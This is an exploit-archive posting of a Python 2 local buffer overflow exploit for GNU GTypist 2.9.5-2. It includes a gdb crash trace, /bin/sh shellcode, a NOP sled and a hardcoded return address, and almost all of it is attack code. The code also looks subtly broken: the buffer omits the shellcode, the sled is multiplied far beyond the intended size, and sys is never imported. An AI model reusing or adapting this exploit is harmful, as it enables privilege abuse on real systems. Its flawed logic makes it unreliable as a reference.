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GNU GTypist 2.9.5-2 - Local Buffer Overflow Exploit
# Exploit Author: Juan Sacco # Program affected: GNU Typist # Affected value: ARG0 # Version: 2.9.5-2 # # Tested and developed under: Kali Linux 2.0 x86 - https://www.kali.org # Program description: Simple ncurses touch typing tutor # Displays exercise lines, measures your typing speed and # accuracy, and displays the results # Kali Linux 2.0 package: pool/main/g/gtypist/gtypist_2.9.5-2_i386.deb # MD5sum: 7ca59c5c0c494e41735b7be676401357 # Website: http://www.gnu.org/software/gtypist/ # gdb$ run `python -c 'print "A"*4098'` # 0xb7e95def in __strcpy_chk () from /lib/i386-linux-gnu/libc.so.6 # 0x0804bf30 in ?? () # 0xb7dbb5f7 in __libc_start_main () from /lib/i386-linux-gnu/libc.so.6 # 0x0804c393 in ?? () import os, subprocess def run(): try: print "# GNU GTypist - Local Buffer Overflow by Juan Sacco" print "# This Exploit has been developed using Exploit Pack - http://exploitpack.com" # NOPSLED + SHELLCODE + EIP buffersize = 4098 nopsled = "\x90"*30 shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" eip = "\x08\xec\xff\xbf" buffer = nopsled * (buffersize-len(shellcode)) + eip subprocess.call(["gtypist ",' ', buffer]) except OSError as e: if e.errno == os.errno.ENOENT: print "Sorry, GNU GTypist - Not found!" else: print "Error executing exploit" raise def howtousage(): print "Snap! Something went wrong" sys.exit(-1) if __name__ == '__main__': try: print "Exploit GNU GTypist - Local Overflow Exploit" print "Author: Juan Sacco - Exploit Pack" except IndexError: howtousage() run() # 0day.today [2024-07-05] #